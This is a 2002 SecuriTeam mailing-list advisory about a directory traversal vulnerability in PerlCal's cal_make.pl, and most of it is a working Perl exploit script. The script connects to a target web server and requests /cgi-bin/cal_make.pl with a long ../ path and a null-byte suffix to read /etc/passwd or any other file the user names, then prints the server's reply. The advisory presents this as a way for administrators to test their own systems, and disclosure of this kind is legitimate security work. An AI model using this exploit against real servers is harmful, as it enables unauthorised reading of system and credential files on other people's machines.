

[EXPL] PerlCal cal_make.pl Directory Traversal

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-09/0046.html>

From: support@securiteam.com

Date: 09/12/02

From: support@securiteam.com

To: list@securiteam.com

Date: Thu, 12 Sep 2002 10:10:14 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

PerlCal cal_make.pl Directory Traversal

SUMMARY

A security vulnerability in PerlCal allows remote attackers to access files that reside outside the normally bounding HTML root directory. The following is an exploit code that can be used by an attacker to test his systems for the mentioned vulnerability.

DETAILS

Exploit:

```
#!/usr/bin/perl
```

```
# PerlCal cal_make.pl directory traversal
```

```
# this vuln was found by: Stan a.k.a. ThePike
```

```
#
```

```
# Vulnerable systems:
```

```
# PerlCal version 2.95 and prior (UNIX)
```

```
#
```

```
# Written by badpack3t <badpack3t@security-protocols.com>
```

```
# For Security-Protocols Research Labs
```

```
# 09/09/02
```

```
#
```

```
# usage:
```

```
# perl sp-perlcal.pl targeted_host /etc/passwd or /proc/version ..
```

```
#
```

Securiteam: [EXPL] PerlCal cal_make.pl Directory Traversal

```
# shoutouts:
#
# regulate, dj dreadat420club, St0iC HaCkS, IreEnigma, stripey,
# dvdman, cr0wn, duu, ac1djazz, and whoever else...
#
#####

use IO::Socket;
use strict;

print "-"x74;
print "\nPerlCal cal_make.pl directory traversal,
badpack3t@security-protocols.com\n";
print "-"x74;
print "\n\n";

my $host = $ARGV[0];
my $port = 80;
my $fuxor = "/etc/passwd%00";
my $lin;
my @thedata;

($ARGV[1]) && ($fuxor = $ARGV[1]."%00");

print "wOrking on getting $fuxor from $host\n";

my $tcpval = getprotobyname('tcp');
my $serverIP = inet_aton($host);
my $serverAddr = sockaddr_in(80, $serverIP);
my $protocol_name = "tcp";

my $iaddr = inet_aton($host) || die print("host was not found: $host");
my $paddr = sockaddr_in($port, $iaddr) || die print("you did something
wrong stupid... exiting...");
my $proto = getprotobyname('tcp') || die print("cannot get protocol");
socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die print("socket could not
open: $!");
connect(SOCK, $paddr) || die print("cannot connect: $!");

my $submit = "GET
/cgi-bin/cal_make.pl?p0=../../../../../../../../../../../../$fuxor\n\n";
send(SOCK,$submit,0);
@thedata=<SOCK>;

close (SOCK);

foreach $lin(@thedata)
{
    print "$lin";
}
```

```
print  
"\n-----EOF-----\n\n";
```

ADDITIONAL INFORMATION

The information has been provided by
<mailto:badpack3t@security-protocols.com> badpack3t.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Cisco VPN Client Multiple Vulnerabilities – Second Set"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)